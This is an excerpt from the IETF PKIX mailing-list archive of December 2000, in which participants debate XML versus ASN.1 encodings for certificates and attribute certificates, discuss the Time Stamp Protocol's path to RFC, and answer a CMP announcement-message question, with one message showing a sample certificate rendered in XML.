X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id DAA18427
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Resent, did never show up in the list.  Pardon if you already got it!

>  IMHO the main advantage of XML over ASN.1 for any of these PKI
> functions, including AC's, is the far greater number of developers who are
> fluent in XML as compared to ASN.1 with BER or DER.  Speaking as one of the
> relatively few who is more fluent in ASN.1 than XML, I know of no other
> reason why XML should be preferred for such uses.  However, since syntax
> difficulty may well have been one of the reasons why SMTP has become widely
> adopted while X.400 has not, this is not a trivial reason.

Tom,
If you have followed my (too) frequent postings on the subject you should know that
there are actually *two* reasons for ACs to use to XML.  The second reason is the lack
of protocol and CA support for a certificate of the AC type.   By using a self-contained
signed object like PKCS #7, or in the XML-world XMLDSIG, the term "attribute certificate"
can be replaced by "signed attribute container" and make the AC replacement belong to
the same league as signed purchase orders etc.  And use *identical* PKI support code.

Using schemes like S2ML, the currently missing AC PUSH support, is already available w.o.
changing a single bit in the underlying PKI systems, protocols and browsers!

Given these facts I am willing to bet on that PKIX-ACs will be virtually insignificant.
Anyone interested in challenging this???

Anders





From owner-ietf-pkix@imc.org  Fri Dec  8 08:22:25 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13572
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 08:22:25 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA00356;
	Fri, 8 Dec 2000 05:19:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 05:19:14 -0800
Received: from levitator.1div0.com (node.061.ty.link.si [213.250.43.61])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA00315
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 05:19:08 -0800 (PST)
Received: from intergalactic ([10.1.1.2])
	by levitator.1div0.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA07333
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 14:05:10 +0100
Reply-To: <denis.bider@denisbider.com>
From: <denis.bider@siol.net>
Sender: "denis bider" <denis.bider@globera.com>
To: <ietf-pkix@imc.org>
Subject: [announcement] "Efficient Descriptive Data Format" specification and SDK released
Date: Fri, 8 Dec 2000 14:23:02 +0100
Message-ID: <002b01c06119$fe7aa0e0$0201010a@intergalactic>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Efficient Descriptive Data Format preliminary specification and SDK
released

EDDF is an ASN.1-based binary data transfer and storage format that is
structurally similar to XML, but has several additional benefits that
make it much more suitable for use in cryptographic applications,
storage of binary data, and machine processing in general. 

In particular, EDDF is:
 (o) Implicitly canonical. Using EDDF, it is easy to ensure that a
single set of data can only be expressed with a single EDDF document.
This is important for electronic document signing and signature
verification.
 (o) Easier to parse and safer to use. EDDF uses a strongly defined
straightforward binary format, thus elegantly avoiding the
complexities and potential security vulnerabilities inherent to
text-based formats (such as XML).
  (o) Efficient. EDDF documents are, on average, 25% shorter than
corresponding XML documents. 

The EDDF specification is currently in First Draft stage, and the
author invites all interested individuals and organizations to submit
their comments.

The EDDF specification, ISO/ANSI C parser and ISO/ANSI C++ parser are
available freely from [http://www.eddf.org]. There are no strings
attached.

You are invited to visit [http://www.eddf.org] for more information.




From owner-ietf-pkix@imc.org  Fri Dec  8 09:22:54 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA20519
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 09:22:53 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA06858;
	Fri, 8 Dec 2000 06:19:40 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 06:19:33 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA06818
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 06:19:32 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA05446;
	Fri, 8 Dec 2000 09:21:38 -0500 (EST)
Message-Id: <4.2.0.58.20001208091819.01c19ef0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 08 Dec 2000 09:19:27 -0500
To: Denis Pinkas <Denis.Pinkas@bull.net>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative
  agenda)
Cc: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>,
        ietf-pkix <ietf-pkix@imc.org>
In-Reply-To: <3A309863.5F3A6D58@bull.net>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
 <4.2.0.58.20001207130621.01c41270@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Denis,

Thanks for the reminder!  I was simply using the IESG status listing, which 
still says "Under AD Review".  That reduces the timeline a bit...

Tim

At 09:14 AM 12/8/00 +0100, Denis Pinkas wrote:
>Tim,
>
> > Jean-Marc,
> >
> > The IESG process does not operate on a fixed schedule, so we really can't
> > predict when an RFC number might be available.  The IETF process consists
> > of repeated discussion and debate regarding the merits of a
> > specification.  At any stage, we could conceivably discover a problem that
> > needs to be resolved.  Every problem that is encountered will take
> > additional time.
> >
> > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> > still need to go through IETF Last Call, be approved by the IESG,
>
>Wake-up ! Last call at the IESG level has already been performed on Monday,
>28 Aug 2000
>
>Here is the quoted E-mail:
>
>" The IESG has received a request from the Public-Key Infrastructure
>(X.509) Working Group to consider Internet X.509 Public Key
>Infrastructure Time Stamp Protocols (TSP)
><draft-ietf-pkix-time-stamp-09.txt> as a Proposed Standard.
>
>The IESG plans to make a decision in the next few weeks, and solicits
>final comments on this action.  Please send any comments to the
>iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000."
>
>Denis
>
> > and wait
> > in the IETF editing queue.  After successfully completing this process, it
> > will get an RFC number.  (Note that IETF Last Call is a minimum of two
> > weeks, and documents seem to be spending at least a month in the editing
> > queue.  Many documents spend more time in each stage.)
> >
> > I expect TSP to go through the process rather cleanly.  My experience is
> > that documents which survive PKIX itself are already fairly well scrubbed.
> >
> > Tim Polk
> >
> > At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote:
> > >Tim Polk wrote:
> > >
> > > > I have attached the tentative agenda for next week's PKIX 
> sessions.   As
> > > > usual, we have a rather full agenda.  Both days should be
> > > > interesting;  we'll discuss the path validation protocols on 
> Tuesday and
> > > > XML on Wednesday.  In between, we'll cover the status of our twenty 
> current
> > > > I-Ds.
> > >
> > >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
> > >finished, and that the draft is now under Area Director Review.
> > >
> > >What would be a tentative time-line until publication as an RFC, or until
> > >attribution of a RFC number ?
> > >
> > >



From owner-ietf-pkix@imc.org  Fri Dec  8 09:42:45 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22842
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 09:42:44 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA08550;
	Fri, 8 Dec 2000 06:39:11 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 06:39:08 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA08515
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 06:39:06 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA24994;
	Fri, 8 Dec 2000 09:41:19 -0500 (EST)
Message-Id: <4.2.0.58.20001208093731.01d01a70@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 08 Dec 2000 09:39:08 -0500
To: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>,
        ietf-pkix <ietf-pkix@imc.org>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative
  agenda)
In-Reply-To: <3A30A7DE.6D397603@certplus.com>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
 <4.2.0.58.20001207130621.01c41270@email.nist.gov>
 <3A309863.5F3A6D58@bull.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Jean-Marc,

The changes in the last edition of TSP were the result of minor comments 
received during Last Call.  The changes do not require recycling at IETF 
Last Call.

Thanks,

Tim

At 10:20 AM 12/8/00 +0100, Jean-Marc Desperrier wrote:
>Denis Pinkas wrote:
>
> > Tim,
> >
> > > The IESG process does not operate on a fixed schedule, so we really can't
> > > predict when an RFC number might be available.
>
>My question had the key words "would", "tentative".
>I'm aware nothing can be garanteed.
>
> > > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> > > still need to go through IETF Last Call, be approved by the IESG,
> >
> > Wake-up ! Last call at the IESG level has already been performed on Monday,
> > 28 Aug 2000
>
>That's not what you want to hear, Denis, but did not the edition of a 
>revised version
>reset this and mean that there must be a new last call even if the changes 
>are minors
>?
>
> > > and wait
> > > in the IETF editing queue.  After successfully completing this 
> process, it
> > > will get an RFC number.  (Note that IETF Last Call is a minimum of two
> > > weeks, and documents seem to be spending at least a month in the editing
> > > queue.  Many documents spend more time in each stage.)
> > >
> > > I expect TSP to go through the process rather cleanly.  My experience is
> > > that documents which survive PKIX itself are already fairly well 
> scrubbed.
>
>Thank you.
>A best case time line and an opinion on whether it should go cleanly or 
>not is all I
>was expecting.
>



From owner-ietf-pkix@imc.org  Fri Dec  8 13:53:57 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA06352
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 13:53:57 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA28872;
	Fri, 8 Dec 2000 10:49:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 10:49:08 -0800
Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA28836
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 10:49:06 -0800 (PST)
Received: (qmail 10823 invoked from network); 8 Dec 2000 18:51:23 -0000
Received: from taurus.hosting4u.net (209.15.2.33)
  by mail-gate.hosting4u.net with SMTP; 8 Dec 2000 18:51:23 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Fri, 08 Dec 2000 12:51:21 -0600
Message-ID: <3A312D14.B8E61989@nma.com>
Date: Fri, 08 Dec 2000 10:48:52 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Juergen Brauckmann <brauckmann@trustcenter.de>
CC: ietf-pkix@imc.org
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WGtentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
			 <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> <3A300D20.F7497497@nma.com> <3A308E91.C065FEE@trustcenter.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Juergen Brauckmann wrote:

> Ed Gerck wrote:
> > If XML encoded documents can be modified without changing the
> > document, then presenting one XML encoded document which has
> > a valid signature is enough to allow any number of documents equal
> > to that one to be verified -- irrespective of their XML encoded form.
> >
> > In other words, if F: X --> Y is a mapping between two sets X and Y
> > such that several different x in X have the same image y0 in Y, then presenting
> > a valid signature for one x0 is enough, together with a certified F, to certify all
> > other x that have the same image as the certified x0 mapped by the certified F,
> > which is y0.
>
> So we can have an F() which transforms any pattern "$10 " into a "$1000
> " for any given XML documents, so that a document verifies with $10 and
> with $1000? Yes, this sounds really useful for signed documents;-)
>
> Sorry, couldn't resist... .

I am glad you did not.  If you have a certified F() that transforms "$10" in US Dollars
to "$1000" in another currency, this might be really useful.  So, even though this
is not the case here (because we are talking about control codes, not values), it
could well be useful also for values.

The bottom line is that if F() is certified between two sets, that F() is useful to
connect a certified x0 in X to a y0 in Y which then becomes certified.

> > > >So, this is IMO good point #2 -- you can reduce a XML certificate size
> > > >*below* the
> > > >ASN.1 size.
> > The same happens with ASN.1, so both are tied for anything that is random.
> > But anything else can be compressed and presents a benefit for compressed
> > XML over ASN.1.
>
> You can compress your ASN.1 data too. "Compressed XML" is IMHO no
> standard or RFC, just like there is no "Compressed ASN.1". When you
> compress you DER certificates, they will be smaller than compressed XML
> structures.

Wait.  This is a general affirmation, and so it is probably false. But, please
prove it.

Cheers,

Ed Gerck



From owner-ietf-pkix@imc.org  Fri Dec  8 15:09:14 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA05694
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 15:09:13 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05716;
	Fri, 8 Dec 2000 12:05:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 12:04:51 -0800
Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA05647
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 12:04:47 -0800 (PST)
Received: from asn-1.com (user-2ivf8nh.dialup.mindspring.com [165.247.162.241])
	by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id PAA05089;
	Fri, 8 Dec 2000 15:06:47 -0500 (EST)
Message-ID: <3A313FFA.F9B3D59E@asn-1.com>
Date: Fri, 08 Dec 2000 15:09:30 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "'PKIX'" <ietf-pkix@imc.org>
CC: "asn.1/xml" <asn1xml@oss.com>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Steven Legg wrote:
> 
> > -----Original Message-----
> > From: Aram Perez [mailto:aram@pacbell.net]
> > Sent: Friday, 8 December 2000 4:25
> > To: PKIX
> > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
> >
> >
> > Just for fun, I've attached the PKIX example #1 certificate
> > converted from
> > ASN.1 to XML.
> >
> > Enjoy,
> > Aram Perez
> 
> That's one way to encode a certificate in XML, but not a method I find
> particularly appealing. The following XML encoding of the same certificate
> is my best guess (possibly way off) at what represents current thinking on
> the ASN.1 group's XML encoding rules mailing list. I would name the elements
> in a SET OF or SEQUENCE OF differently, but that is an argument for a
> different forum.

Steven,

I can't speak for everyone involved in the ASN.1/
XML work, but this is a very good guess as to where
we seem to be headed. But there are many particulars 
still to be discussed and resolved and many different
opinions to consider. 

For example, the representation of OID values has
spawned a great deal of discussion. While I have
favored <tag>1.2.3.4</tag> that mimics the notation
used in LDAP, other prefer the ASN.1 value notation
format that you've used below. But there is also some
sentiment for relying on the urn:oid work currently 
being progressed in the IETF, as well as proponents
of the <tag>iso(1) identified-organization(3)</tag>
style format.

And that's just one small issue. The work plan has 
just been announced and is scheduled for 22 January
through 2 February 2001, in Geneva, Switzerland. For
anyone that is interested, they might wish to monitor
the discussion list at asn1xml@oss.com, as the details 
of this work are probably a bit off topic for pkix.

I would comment though that the benefit of this new
notation is obscured somewhat by the examples being
used. Certificates are not very interesting to look
at for most humans in any format and seem to be at 
their best in a small, efficient binary format that
is mechanically processed. Only a few of their parts
have much use as display items. 

These examples do serve to illustrate how verbose tagged
text formats can be. But what will be more beneficial to
consider for ASN.1 users I believe, will be the ability
to generate default ASN.1 specified XML mark up for the 
likes of protocol messages, say perhaps the request and 
response messages specified in tools such as OCSP. 

Phil

> 
> <Certificate>
>   <toBeSigned>
>     <version>
>       v3
>     </version>
>     <serialNumber>
>       17
>     </serialNumber>
>     <signature>
>       <algorithm>
>          { 1 2 840 10040 4 3 }
>       </algorithm>
>     </signature>
>     <issuer>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </issuer>
>     <validity>
>       <notBefore>
>         970630000000Z
>       </notBefore>
>       <notAfter>
>         971231000000Z
>       </notAfter>
>     </validity>
>     <subject>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </subject>
>     <subjectPublicKeyInfo>
>       <algorithm>
>         <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
>         <parameters>
>           <p>
>             d43802c5357bd50ba17e5d72596355d3
>             4556eae2251a6bc5a4abaa0bd462b4d2
>             21b195a2c601c9c3fa016f7986833d03
>             61e1f192acbc034e89a3c9534af7e2a6
>             48cf421e21b15c2b3a7fbabe6b5af70a
>             26d88e1bebecbf1e5a3f45c0bd3123be
>             6971a7c290fea5d680b524dc449ceb4d
>             f9daf0c8e8a24c99075c8e352b7d578d
>           </p>
>           <q>
>             a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
>           </q>
>           <g>
>             0e3b46318a0a58864084e3a1220d88ca
>             908857649f0121e01505942482e21090
>             d9e14e105ce7546bd40c2b1b590aa0b5
>             a17db507e3657cea90d88e3042e485bb
>             acfa4e764b780edf6ce5a6e1bd59777d
>             a69759c529a7b33f953e9df1592df742
>             87623ff1b86fc73d4bb88d74c4ca4490
>             cf67dbde1460974ad1f76d9e0994c40d
>           </g>
>         </parameters>
>       </algorithm>
>       <subjectPublicKey>
>         028180aa98ea1394a2dbf15b7f982f78
>         e7d8e3b97186f6802f4039c3da3b4b13
>         4626ee0d56c5a33a39b77d33c26b5c77
>         92f255659039cd1a3c86e132eb25bc91
>         c4ff804f3661bdcce26104e07e6013ca
>         c09cdde0ea41de33c1f144a9bc71decf
>         59d46eda44993c2164e478549dd07bba
>         4ef5184d5e3930bfe0d1f6f483254f14
>         aa71e1
>       </subjectPublicKey>
>     </subjectPublicKeyInfo>
>     <extensions>
>       <Extension>
>           <extnId>
>           { 2 5 29 19 }
>         </extnId>
>         <critical>
>           TRUE
>         </critical>
>         <extnValue>
>           30030101ff
>         </extnValue>
>       </Extension>
>       <Extension>
>         <extnId>
>           { 2 5 29 14 }
>         </extnId>
>         <extnValue>
>           0414e726c554cd5ba36f356895aad5ff1c21e42275d6
>         </extnValue>
>       </Extension>
>     </extensions>
>   </toBeSigned>
>   <algorithmIdentifier>
>     <algorithm>
>       { 1 2 840 10040 4 3 }
>     </algorithm>
>   </algorithmIdentifier>
>   <encrypted>
>     302c0214a066c176339913518d93642f
>     ca1373de791a7d3302145d90f6ce924a
>     bf2911248028a65a8e73b6760268
>   </encrypted>
> </Certificate>
> 
> Regards,
> Steven


From owner-ietf-pkix@imc.org  Fri Dec  8 15:11:24 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06591
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 15:11:24 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA06106;
	Fri, 8 Dec 2000 12:08:04 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 12:08:02 -0800
Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA06073
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 12:08:01 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21)
	id <XJNAQ4YF>; Fri, 8 Dec 2000 15:00:55 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EDD@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "'Margus Freudenthal'" <margus@cyber.ee>
Cc: PKIX list <ietf-pkix@imc.org>
Subject: RE: CMP question
Date: Fri, 8 Dec 2000 15:10:26 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C06152.E7B671C0"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06152.E7B671C0
Content-Type: text/plain

Hi Margus,

> ----------
> From: 	Margus Freudenthal[SMTP:margus@cyber.ee]
> Sent: 	Thursday, December 07, 2000 5:41 AM
> To: 	PKIX list
> Subject: 	CMP question
> 
> Hello.
> 
> The RFC 2510 (or its successor) does not define how one should respond
> to announcement messages (i.e. certificate announcement, revocation
> announcement, CRL announcement).  In some cases (mostly for revocation)
> the sending party needs to know that the receiver has really got and
> understood the message.  It seems to me that the receiver should reply
> with Confirmation to indicate that the message was OK or with
> ErrorMsgRep, if it wasn't.
> 
> Any other suggestions?
 
In typical practice, there is no response to a broadcast message (the sender
does not want -- or need -- to handle the flood of replies that would come
back).  This is true in many different environments, and CMP announcement
messages are no exception.

If "the sending party needs to know that (a particular) receiver has really
got and understood the message", then the sender should use some mechanism
other than a broadcast announcement to achieve this.  If I need to make sure
I get a message to you, I'm unlikely to put it in the newspaper or in a
radio spot; I'd be better off using the telephone or e-mail (for example).

Carlisle.


------_=_NextPart_001_01C06152.E7B671C0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: CMP question</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Margus,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Margus =
Freudenthal[SMTP:margus@cyber.ee]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Thursday, December 07, 2000 5:41 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">PKIX =
list</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">CMP question</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The RFC 2510 (or its successor) does =
not define how one should respond</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to announcement messages (i.e. =
certificate announcement, revocation</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">announcement, CRL =
announcement).&nbsp; In some cases (mostly for revocation)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the sending party needs to know that =
the receiver has really got and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">understood the message.&nbsp; It =
seems to me that the receiver should reply</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">with Confirmation to indicate that =
the message was OK or with</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">ErrorMsgRep, if it wasn't.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Any other suggestions?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">In =
typical practice, there is no response to a broadcast message (the =
sender does not want -- or need -- to handle the flood of replies that =
would come back).&nbsp; This is true in many different environments, =
and CMP announcement messages are no exception.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">If =
&quot;the sending party needs to know that (a particular) receiver has =
really got and understood the message&quot;, then the sender should use =
some mechanism other than a broadcast announcement to achieve =
this.&nbsp; If I need to make sure I get a message to you, I'm unlikely =
to put it in the newspaper or in a radio spot; I'd be better off using =
the telephone or e-mail (for example).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06152.E7B671C0--


From owner-ietf-pkix@imc.org  Fri Dec  8 17:48:18 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA20378
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 17:48:17 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA13940;
	Fri, 8 Dec 2000 14:44:12 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 14:43:17 -0800
Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA13881;
	Fri, 8 Dec 2000 14:43:15 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102])
        by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id OAA09473;
        Fri, 8 Dec 2000 14:46:50 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21)
	id <YMB7MMRB>; Fri, 8 Dec 2000 14:45:11 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C739@vhqpostal.verisign.com>
From: Philip Hallam-Baker <pbaker@verisign.com>
To: "'Tim Polk'" <tim.polk@nist.gov>,
        Anders Rundgren
